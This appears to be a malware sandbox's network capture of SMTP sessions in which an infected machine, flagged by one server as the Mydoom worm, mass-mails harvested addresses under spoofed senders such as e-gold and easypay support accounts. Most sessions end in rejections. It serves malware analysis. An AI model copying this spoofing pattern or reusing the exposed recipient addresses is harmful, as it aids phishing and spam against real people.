Oct 31, 2022 12:20:44.144711971 CET	50072	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:20:44.158310890 CET	25	50074	94.100.180.31	192.168.2.5	250 2.0.0 OK
Oct 31, 2022 12:20:44.161413908 CET	50074	25	192.168.2.5	94.100.180.31	RCPT TO: <lastguru@mail.ru>
Oct 31, 2022 12:20:44.222615004 CET	25	50074	94.100.180.31	192.168.2.5	250 Go ahead
Oct 31, 2022 12:20:44.222862959 CET	50074	25	192.168.2.5	94.100.180.31	DATA
Oct 31, 2022 12:20:44.223937988 CET	25	50073	142.250.147.26	192.168.2.5	250 2.1.5 OK c17-20020a05640227d100b00461a144e981si8254185ede.356 - gsmtp
Oct 31, 2022 12:20:44.224589109 CET	50073	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:20:44.265762091 CET	25	50073	142.250.147.26	192.168.2.5	354 Go ahead c17-20020a05640227d100b00461a144e981si8254185ede.356 - gsmtp
Oct 31, 2022 12:20:44.282505035 CET	25	50074	94.100.180.31	192.168.2.5	354 Go ahead. End your data with <CR><LF>.<CR><LF>
Oct 31, 2022 12:20:44.379714012 CET	25	50073	142.250.147.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. c17-20020a05640227d100b00461a144e981si8254185ede.356 - gsmtp
Oct 31, 2022 12:20:44.518528938 CET	25	50074	94.100.180.31	192.168.2.5	550 Message was not accepted -- invalid mailbox. Local mailbox Anton@mail.ru is unavailable: message sending for this account is disabled: http://help.mail.ru/mail-help/postmaster/error
Oct 31, 2022 12:20:44.682388067 CET	25	50072	74.125.200.27	192.168.2.5	354 Go ahead h1-20020a63e141000000b0046fcbca64dcsi2672602pgk.816 - gsmtp
Oct 31, 2022 12:20:44.814024925 CET	25	50075	173.194.202.27	192.168.2.5	220 mx.google.com ESMTP l64-20020a638843000000b00461f71a53e1si8313378pgd.505 - gsmtp
Oct 31, 2022 12:20:44.814280987 CET	50075	25	192.168.2.5	173.194.202.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:45.015944958 CET	25	50075	173.194.202.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:45.017426968 CET	50075	25	192.168.2.5	173.194.202.27	MAIL FROM: <fred@hotmail.com>
Oct 31, 2022 12:20:45.215960026 CET	25	50075	173.194.202.27	192.168.2.5	250 2.1.0 OK l64-20020a638843000000b00461f71a53e1si8313378pgd.505 - gsmtp
Oct 31, 2022 12:20:45.216669083 CET	50075	25	192.168.2.5	173.194.202.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:45.426431894 CET	25	50075	173.194.202.27	192.168.2.5	250 2.1.5 OK l64-20020a638843000000b00461f71a53e1si8313378pgd.505 - gsmtp
Oct 31, 2022 12:20:45.426620007 CET	50075	25	192.168.2.5	173.194.202.27	DATA
Oct 31, 2022 12:20:45.625014067 CET	25	50075	173.194.202.27	192.168.2.5	354 Go ahead l64-20020a638843000000b00461f71a53e1si8313378pgd.505 - gsmtp
Oct 31, 2022 12:20:46.011748075 CET	25	50072	74.125.200.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. h1-20020a63e141000000b0046fcbca64dcsi2672602pgk.816 - gsmtp
Oct 31, 2022 12:20:46.107855082 CET	25	50076	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP h23-20020a50cdd7000000b00462d53d6de6si6874810edj.10 - gsmtp
Oct 31, 2022 12:20:46.108444929 CET	50076	25	192.168.2.5	142.250.153.27	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:46.138432980 CET	25	50076	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:46.143239021 CET	50076	25	192.168.2.5	142.250.153.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:46.171334028 CET	25	50076	142.250.153.27	192.168.2.5	250 2.1.0 OK h23-20020a50cdd7000000b00462d53d6de6si6874810edj.10 - gsmtp
Oct 31, 2022 12:20:46.171668053 CET	50076	25	192.168.2.5	142.250.153.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:46.226800919 CET	25	50075	173.194.202.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. l64-20020a638843000000b00461f71a53e1si8313378pgd.505 - gsmtp
Oct 31, 2022 12:20:46.320554972 CET	25	50077	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP q9-20020a056000136900b0022e6591d7d7si4332495wrz.468 - gsmtp
Oct 31, 2022 12:20:46.320884943 CET	50077	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:46.343041897 CET	25	50076	142.250.153.27	192.168.2.5	250 2.1.5 OK h23-20020a50cdd7000000b00462d53d6de6si6874810edj.10 - gsmtp
Oct 31, 2022 12:20:46.345875025 CET	50076	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:20:46.357340097 CET	25	50077	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:46.357618093 CET	50077	25	192.168.2.5	74.125.140.27	MAIL FROM: <fred@hotmail.com>
Oct 31, 2022 12:20:46.373898983 CET	25	50076	142.250.153.27	192.168.2.5	354 Go ahead h23-20020a50cdd7000000b00462d53d6de6si6874810edj.10 - gsmtp
Oct 31, 2022 12:20:46.392126083 CET	25	50077	74.125.140.27	192.168.2.5	250 2.1.0 OK q9-20020a056000136900b0022e6591d7d7si4332495wrz.468 - gsmtp
Oct 31, 2022 12:20:46.447746038 CET	50077	25	192.168.2.5	74.125.140.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:46.487236977 CET	25	50076	142.250.153.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. h23-20020a50cdd7000000b00462d53d6de6si6874810edj.10 - gsmtp
Oct 31, 2022 12:20:46.624147892 CET	25	50077	74.125.140.27	192.168.2.5	250 2.1.5 OK q9-20020a056000136900b0022e6591d7d7si4332495wrz.468 - gsmtp
Oct 31, 2022 12:20:46.624507904 CET	50077	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:20:46.660028934 CET	25	50077	74.125.140.27	192.168.2.5	354 Go ahead q9-20020a056000136900b0022e6591d7d7si4332495wrz.468 - gsmtp
Oct 31, 2022 12:20:46.800885916 CET	25	50077	74.125.140.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. q9-20020a056000136900b0022e6591d7d7si4332495wrz.468 - gsmtp
Oct 31, 2022 12:20:47.265093088 CET	25	50079	142.250.141.27	192.168.2.5	220 mx.google.com ESMTP a70-20020a639049000000b0042b57d7bc14si7835300pge.763 - gsmtp
Oct 31, 2022 12:20:47.265414000 CET	50079	25	192.168.2.5	142.250.141.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:47.503771067 CET	25	50079	142.250.141.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:47.504121065 CET	50079	25	192.168.2.5	142.250.141.27	MAIL FROM: <fred@hotmail.com>
Oct 31, 2022 12:20:47.738517046 CET	25	50079	142.250.141.27	192.168.2.5	250 2.1.0 OK a70-20020a639049000000b0042b57d7bc14si7835300pge.763 - gsmtp
Oct 31, 2022 12:20:47.738810062 CET	50079	25	192.168.2.5	142.250.141.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:47.991509914 CET	25	50079	142.250.141.27	192.168.2.5	250 2.1.5 OK a70-20020a639049000000b0042b57d7bc14si7835300pge.763 - gsmtp
Oct 31, 2022 12:20:47.991755962 CET	50079	25	192.168.2.5	142.250.141.27	DATA
Oct 31, 2022 12:20:48.226380110 CET	25	50079	142.250.141.27	192.168.2.5	354 Go ahead a70-20020a639049000000b0042b57d7bc14si7835300pge.763 - gsmtp
Oct 31, 2022 12:20:48.877979994 CET	25	50079	142.250.141.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. a70-20020a639049000000b0042b57d7bc14si7835300pge.763 - gsmtp
Oct 31, 2022 12:20:49.594063044 CET	25	49854	85.187.148.2	192.168.2.5	250 Accepted
Oct 31, 2022 12:20:49.595174074 CET	49854	25	192.168.2.5	85.187.148.2	DATA
Oct 31, 2022 12:20:49.749778032 CET	25	49854	85.187.148.2	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 31, 2022 12:20:49.876888990 CET	25	50080	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP 187-20020a6301c4000000b0046f9f4985cfsi6492697pgb.513 - gsmtp
Oct 31, 2022 12:20:49.877264977 CET	50080	25	192.168.2.5	74.125.200.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:50.409085989 CET	25	50080	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:50.409527063 CET	50080	25	192.168.2.5	74.125.200.26	MAIL FROM: <fred@hotmail.com>
Oct 31, 2022 12:20:50.938250065 CET	25	50080	74.125.200.26	192.168.2.5	250 2.1.0 OK 187-20020a6301c4000000b0046f9f4985cfsi6492697pgb.513 - gsmtp
Oct 31, 2022 12:20:50.987082005 CET	50080	25	192.168.2.5	74.125.200.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:51.051856041 CET	25	49854	85.187.148.2	192.168.2.5	550-This message contains a virus or other harmful content 550 (Win.Malware.Mydoom-6804696-0)
Oct 31, 2022 12:20:51.211831093 CET	25	49854	85.187.148.2	192.168.2.5	421 az1-ss24.a2hosting.com lost input connection
Oct 31, 2022 12:20:51.220094919 CET	25	50083	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP dm19-20020a170907949300b007aa784a3cb8si6289140ejc.687 - gsmtp
Oct 31, 2022 12:20:51.225244999 CET	50083	25	192.168.2.5	142.250.147.26	HELO aspmx3.googlemail.com
Oct 31, 2022 12:20:51.234312057 CET	25	50081	104.47.55.138	192.168.2.5	220 BN8NAM12FT033.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Mon, 31 Oct 2022 11:20:50 +0000
Oct 31, 2022 12:20:51.234642029 CET	50081	25	192.168.2.5	104.47.55.138	HELO alumni-caltech-edu.mail.protection.outlook.com
Oct 31, 2022 12:20:51.267803907 CET	25	50083	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:51.268007040 CET	50083	25	192.168.2.5	142.250.147.26	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:51.309710026 CET	25	50083	142.250.147.26	192.168.2.5	250 2.1.0 OK dm19-20020a170907949300b007aa784a3cb8si6289140ejc.687 - gsmtp
Oct 31, 2022 12:20:51.320065022 CET	25	50082	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:20:51 -0400
Oct 31, 2022 12:20:51.340399027 CET	25	50081	104.47.55.138	192.168.2.5	250 BN8NAM12FT033.mail.protection.outlook.com Hello [102.129.143.15]
Oct 31, 2022 12:20:51.346610069 CET	50083	25	192.168.2.5	142.250.147.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:51.346779108 CET	50082	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:20:51.346853018 CET	50081	25	192.168.2.5	104.47.55.138	MAIL FROM: <kevin@msn.com>
Oct 31, 2022 12:20:51.452946901 CET	25	50081	104.47.55.138	192.168.2.5	250 2.1.0 Sender OK
Oct 31, 2022 12:20:51.493324041 CET	25	50082	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:20:51.507683992 CET	25	50083	142.250.147.26	192.168.2.5	250 2.1.5 OK dm19-20020a170907949300b007aa784a3cb8si6289140ejc.687 - gsmtp
Oct 31, 2022 12:20:51.534744978 CET	25	50080	74.125.200.26	192.168.2.5	250 2.1.5 OK 187-20020a6301c4000000b0046f9f4985cfsi6492697pgb.513 - gsmtp
Oct 31, 2022 12:20:51.549675941 CET	25	50084	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:20:51 -0400
Oct 31, 2022 12:20:51.794919014 CET	50084	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:20:51.795047045 CET	50081	25	192.168.2.5	104.47.55.138	RCPT TO: <madler@alumni.caltech.edu>
Oct 31, 2022 12:20:51.795180082 CET	50082	25	192.168.2.5	209.51.188.92	MAIL FROM: <support@wmtransfer.com>
Oct 31, 2022 12:20:51.795327902 CET	50083	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:20:51.795449972 CET	50080	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:51.837378979 CET	25	50083	142.250.147.26	192.168.2.5	354 Go ahead dm19-20020a170907949300b007aa784a3cb8si6289140ejc.687 - gsmtp
Oct 31, 2022 12:20:51.901516914 CET	25	50081	104.47.55.138	192.168.2.5	550 5.7.1 Service unavailable, Client host [102.129.143.15] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.15 AS(1440) [BN8NAM12FT033.eop-nam12.prod.protection.outlook.com]
Oct 31, 2022 12:20:51.941323996 CET	25	50082	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:51.943434000 CET	25	50084	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:20:51.969332933 CET	50082	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype@nongnu.org>
Oct 31, 2022 12:20:51.969461918 CET	50084	25	192.168.2.5	209.51.188.92	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:20:52.004076004 CET	50083	25	192.168.2.5	142.250.147.26	.
Oct 31, 2022 12:20:52.113985062 CET	25	50084	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:52.114222050 CET	50084	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype-devel@nongnu.org>
Oct 31, 2022 12:20:52.158063889 CET	25	50083	142.250.147.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. dm19-20020a170907949300b007aa784a3cb8si6289140ejc.687 - gsmtp
Oct 31, 2022 12:20:52.267159939 CET	25	50085	142.250.153.26	192.168.2.5	220 mx.google.com ESMTP m10-20020a1709061eca00b0078356aaeb61si6066468ejj.286 - gsmtp
Oct 31, 2022 12:20:52.302618027 CET	50085	25	192.168.2.5	142.250.153.26	HELO aspmx2.googlemail.com
Oct 31, 2022 12:20:52.324107885 CET	25	50080	74.125.200.26	192.168.2.5	354 Go ahead 187-20020a6301c4000000b0046f9f4985cfsi6492697pgb.513 - gsmtp
Oct 31, 2022 12:20:52.333496094 CET	25	50085	142.250.153.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:52.370122910 CET	50085	25	192.168.2.5	142.250.153.26	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:52.397802114 CET	25	50085	142.250.153.26	192.168.2.5	250 2.1.0 OK m10-20020a1709061eca00b0078356aaeb61si6066468ejj.286 - gsmtp
Oct 31, 2022 12:20:52.626719952 CET	25	50084	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:52.647113085 CET	25	50082	209.51.188.92	192.168.2.5	550-[SPF] 102.129.143.15 is not allowed to send mail from wmtransfer.com. 550 Please see http://www.openspf.org/Why?scope=mfrom;identity=support@wmtransfer.com;ip=102.129.143.15
Oct 31, 2022 12:20:53.386759043 CET	50085	25	192.168.2.5	142.250.153.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:53.440639973 CET	25	50082	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:53.440725088 CET	25	50084	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:53.536196947 CET	25	50085	142.250.153.26	192.168.2.5	250 2.1.5 OK m10-20020a1709061eca00b0078356aaeb61si6066468ejj.286 - gsmtp
Oct 31, 2022 12:20:53.566009045 CET	50085	25	192.168.2.5	142.250.153.26	DATA
Oct 31, 2022 12:20:53.593949080 CET	25	50085	142.250.153.26	192.168.2.5	354 Go ahead m10-20020a1709061eca00b0078356aaeb61si6066468ejj.286 - gsmtp
Oct 31, 2022 12:20:53.792973042 CET	25	50085	142.250.153.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. m10-20020a1709061eca00b0078356aaeb61si6066468ejj.286 - gsmtp
Oct 31, 2022 12:20:53.918236971 CET	25	50086	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP sb27-20020a1709076d9b00b0078d43ae07e1si8322422ejc.649 - gsmtp
Oct 31, 2022 12:20:53.918405056 CET	50086	25	192.168.2.5	142.250.147.27	HELO alt2.aspmx.l.google.com
Oct 31, 2022 12:20:53.963439941 CET	25	50086	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:53.963690042 CET	50086	25	192.168.2.5	142.250.147.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:53.972228050 CET	25	50080	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. 187-20020a6301c4000000b0046f9f4985cfsi6492697pgb.513 - gsmtp
Oct 31, 2022 12:20:54.005496025 CET	25	50086	142.250.147.27	192.168.2.5	250 2.1.0 OK sb27-20020a1709076d9b00b0078d43ae07e1si8322422ejc.649 - gsmtp
Oct 31, 2022 12:20:54.005753040 CET	50086	25	192.168.2.5	142.250.147.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:54.166479111 CET	25	50086	142.250.147.27	192.168.2.5	250 2.1.5 OK sb27-20020a1709076d9b00b0078d43ae07e1si8322422ejc.649 - gsmtp
Oct 31, 2022 12:20:54.166779041 CET	50086	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:54.208997011 CET	25	50086	142.250.147.27	192.168.2.5	354 Go ahead sb27-20020a1709076d9b00b0078d43ae07e1si8322422ejc.649 - gsmtp
Oct 31, 2022 12:20:54.440438032 CET	25	50086	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. sb27-20020a1709076d9b00b0078d43ae07e1si8322422ejc.649 - gsmtp
Oct 31, 2022 12:20:54.542609930 CET	25	50088	74.125.133.27	192.168.2.5	220 mx.google.com ESMTP v14-20020adfebce000000b0022c88efc988si4247641wrn.171 - gsmtp
Oct 31, 2022 12:20:54.549495935 CET	50088	25	192.168.2.5	74.125.133.27	HELO aspmx.l.google.com
Oct 31, 2022 12:20:54.585804939 CET	25	50088	74.125.133.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:54.585973978 CET	50088	25	192.168.2.5	74.125.133.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:54.619793892 CET	25	50088	74.125.133.27	192.168.2.5	250 2.1.0 OK v14-20020adfebce000000b0022c88efc988si4247641wrn.171 - gsmtp
Oct 31, 2022 12:20:54.620098114 CET	50088	25	192.168.2.5	74.125.133.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:54.771305084 CET	25	50088	74.125.133.27	192.168.2.5	250 2.1.5 OK v14-20020adfebce000000b0022c88efc988si4247641wrn.171 - gsmtp
Oct 31, 2022 12:20:54.771526098 CET	50088	25	192.168.2.5	74.125.133.27	DATA
Oct 31, 2022 12:20:54.805145025 CET	25	50088	74.125.133.27	192.168.2.5	354 Go ahead v14-20020adfebce000000b0022c88efc988si4247641wrn.171 - gsmtp
Oct 31, 2022 12:20:55.250716925 CET	25	50098	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP p29-20020a05600c1d9d00b003a854b2154csi4939163wms.220 - gsmtp
Oct 31, 2022 12:20:55.252269983 CET	50098	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:55.290028095 CET	25	50098	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:55.290167093 CET	50098	25	192.168.2.5	74.125.140.27	MAIL FROM: <julie@yahoo.com>
Oct 31, 2022 12:20:55.324139118 CET	25	50098	74.125.140.27	192.168.2.5	250 2.1.0 OK p29-20020a05600c1d9d00b003a854b2154csi4939163wms.220 - gsmtp
Oct 31, 2022 12:20:55.324455976 CET	50098	25	192.168.2.5	74.125.140.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:55.439358950 CET	25	50102	94.100.180.31	192.168.2.5	220 mxs.mail.ru ESMTP ready
Oct 31, 2022 12:20:55.439809084 CET	50102	25	192.168.2.5	94.100.180.31	HELO mxs.mail.ru
Oct 31, 2022 12:20:55.498646975 CET	25	50102	94.100.180.31	192.168.2.5	250 mxs.mail.ru
Oct 31, 2022 12:20:55.498981953 CET	50102	25	192.168.2.5	94.100.180.31	MAIL FROM: <Egor@yandex.ru>
Oct 31, 2022 12:20:55.505985022 CET	25	50098	74.125.140.27	192.168.2.5	250 2.1.5 OK p29-20020a05600c1d9d00b003a854b2154csi4939163wms.220 - gsmtp
Oct 31, 2022 12:20:55.506228924 CET	50098	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:20:55.540033102 CET	25	50098	74.125.140.27	192.168.2.5	354 Go ahead p29-20020a05600c1d9d00b003a854b2154csi4939163wms.220 - gsmtp
Oct 31, 2022 12:20:55.558686972 CET	25	50102	94.100.180.31	192.168.2.5	250 2.0.0 OK
Oct 31, 2022 12:20:55.589114904 CET	50102	25	192.168.2.5	94.100.180.31	RCPT TO: <lastguru@mail.ru>
Oct 31, 2022 12:20:55.602926970 CET	25	50100	198.252.153.129	192.168.2.5	220-mx1.riseup.net ESMTP (spam is not appreciated)
Oct 31, 2022 12:20:55.603147984 CET	50100	25	192.168.2.5	198.252.153.129	HELO mx1.riseup.net
Oct 31, 2022 12:20:55.644817114 CET	25	50098	74.125.140.27	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. p29-20020a05600c1d9d00b003a854b2154csi4939163wms.220 - gsmtp
Oct 31, 2022 12:20:55.648638964 CET	25	50102	94.100.180.31	192.168.2.5	250 Go ahead
Oct 31, 2022 12:20:55.651309013 CET	50102	25	192.168.2.5	94.100.180.31	DATA
Oct 31, 2022 12:20:55.710808992 CET	25	50102	94.100.180.31	192.168.2.5	354 Go ahead. End your data with <CR><LF>.<CR><LF>
Oct 31, 2022 12:20:55.755474091 CET	25	50105	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP w19-20020a05640234d300b004618343b140si8526302edc.199 - gsmtp
Oct 31, 2022 12:20:55.755652905 CET	50105	25	192.168.2.5	142.250.147.26	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:55.770050049 CET	25	50103	142.250.141.27	192.168.2.5	220 mx.google.com ESMTP rj4-20020a17090b3e8400b00212ea9177dasi10056073pjb.30 - gsmtp
Oct 31, 2022 12:20:55.770304918 CET	50103	25	192.168.2.5	142.250.141.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:55.775053024 CET	25	50100	198.252.153.129	192.168.2.5	250 mx1.riseup.net
Oct 31, 2022 12:20:55.780625105 CET	50100	25	192.168.2.5	198.252.153.129	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:20:55.799550056 CET	25	50105	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:55.799758911 CET	50105	25	192.168.2.5	142.250.147.26	MAIL FROM: <julie@yahoo.com>
Oct 31, 2022 12:20:55.840989113 CET	25	50105	142.250.147.26	192.168.2.5	250 2.1.0 OK w19-20020a05640234d300b004618343b140si8526302edc.199 - gsmtp
Oct 31, 2022 12:20:55.841229916 CET	50105	25	192.168.2.5	142.250.147.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:55.849487066 CET	25	50058	85.187.148.2	192.168.2.5	220-az1-ss24.a2hosting.com ESMTP Exim 4.95 #2 Mon, 31 Oct 2022 04:20:55 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 31, 2022 12:20:55.849700928 CET	50058	25	192.168.2.5	85.187.148.2	HELO gzip.org
Oct 31, 2022 12:20:55.952563047 CET	25	50100	198.252.153.129	192.168.2.5	250 2.1.0 Ok
Oct 31, 2022 12:20:55.952780962 CET	50100	25	192.168.2.5	198.252.153.129	RCPT TO: <currojerez@riseup.net>
Oct 31, 2022 12:20:56.004496098 CET	25	50058	85.187.148.2	192.168.2.5	250 az1-ss24.a2hosting.com Hello gzip.org [102.129.143.15]
Oct 31, 2022 12:20:56.004805088 CET	50058	25	192.168.2.5	85.187.148.2	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:56.005490065 CET	25	50103	142.250.141.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:56.007000923 CET	50103	25	192.168.2.5	142.250.141.27	MAIL FROM: <helen@gmail.com>
Oct 31, 2022 12:20:56.027656078 CET	25	50105	142.250.147.26	192.168.2.5	250 2.1.5 OK w19-20020a05640234d300b004618343b140si8526302edc.199 - gsmtp
Oct 31, 2022 12:20:56.028162003 CET	50105	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:20:56.069231987 CET	25	50105	142.250.147.26	192.168.2.5	354 Go ahead w19-20020a05640234d300b004618343b140si8526302edc.199 - gsmtp
Oct 31, 2022 12:20:56.130770922 CET	25	50100	198.252.153.129	192.168.2.5	550 5.5.1 Protocol error
Oct 31, 2022 12:20:56.150644064 CET	25	50088	74.125.133.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. v14-20020adfebce000000b0022c88efc988si4247641wrn.171 - gsmtp
Oct 31, 2022 12:20:56.159648895 CET	25	50058	85.187.148.2	192.168.2.5	250 OK
Oct 31, 2022 12:20:56.159912109 CET	50058	25	192.168.2.5	85.187.148.2	RCPT TO: <jloup@gzip.org>
Oct 31, 2022 12:20:56.181139946 CET	25	50105	142.250.147.26	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. w19-20020a05640234d300b004618343b140si8526302edc.199 - gsmtp
Oct 31, 2022 12:20:56.240113020 CET	25	50103	142.250.141.27	192.168.2.5	250 2.1.0 OK rj4-20020a17090b3e8400b00212ea9177dasi10056073pjb.30 - gsmtp
Oct 31, 2022 12:20:56.241112947 CET	50103	25	192.168.2.5	142.250.141.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:56.267056942 CET	25	50117	142.250.153.26	192.168.2.5	220 mx.google.com ESMTP js2-20020a17090797c200b0078d9f02b452si8722655ejc.861 - gsmtp
Oct 31, 2022 12:20:56.267241001 CET	50117	25	192.168.2.5	142.250.153.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:56.297717094 CET	25	50117	142.250.153.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:56.297910929 CET	50117	25	192.168.2.5	142.250.153.26	MAIL FROM: <julie@yahoo.com>
Oct 31, 2022 12:20:56.325958014 CET	25	50117	142.250.153.26	192.168.2.5	250 2.1.0 OK js2-20020a17090797c200b0078d9f02b452si8722655ejc.861 - gsmtp
Oct 31, 2022 12:20:56.326301098 CET	50117	25	192.168.2.5	142.250.153.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:56.348922014 CET	25	50102	94.100.180.31	192.168.2.5	550 spam message rejected. Please visit http://help.mail.ru/notspam-support/id?c=t0mU4RMi9mrU7g25QSftjydJE9Gz-iayezKSRREA00wUm3hZlQVY2GCinI9b1kvQCQAAAERzAQBz7VMR or report details to abuse@corp.mail.ru. Error code: E19449B76AF62213B90DEED48FED2741D1134927B226FAB34592327B4CD3001159789B14D85805958F9CA260D04BD65B. ID: 00000009000173441153ED73.
Oct 31, 2022 12:20:56.482067108 CET	25	50103	142.250.141.27	192.168.2.5	250 2.1.5 OK rj4-20020a17090b3e8400b00212ea9177dasi10056073pjb.30 - gsmtp
Oct 31, 2022 12:20:56.482330084 CET	50103	25	192.168.2.5	142.250.141.27	DATA
Oct 31, 2022 12:20:56.497526884 CET	25	50117	142.250.153.26	192.168.2.5	250 2.1.5 OK js2-20020a17090797c200b0078d9f02b452si8722655ejc.861 - gsmtp
Oct 31, 2022 12:20:56.497845888 CET	50117	25	192.168.2.5	142.250.153.26	DATA
Oct 31, 2022 12:20:56.525440931 CET	25	50117	142.250.153.26	192.168.2.5	354 Go ahead js2-20020a17090797c200b0078d9f02b452si8722655ejc.861 - gsmtp
Oct 31, 2022 12:20:56.646456957 CET	50117	25	192.168.2.5	142.250.153.26	.
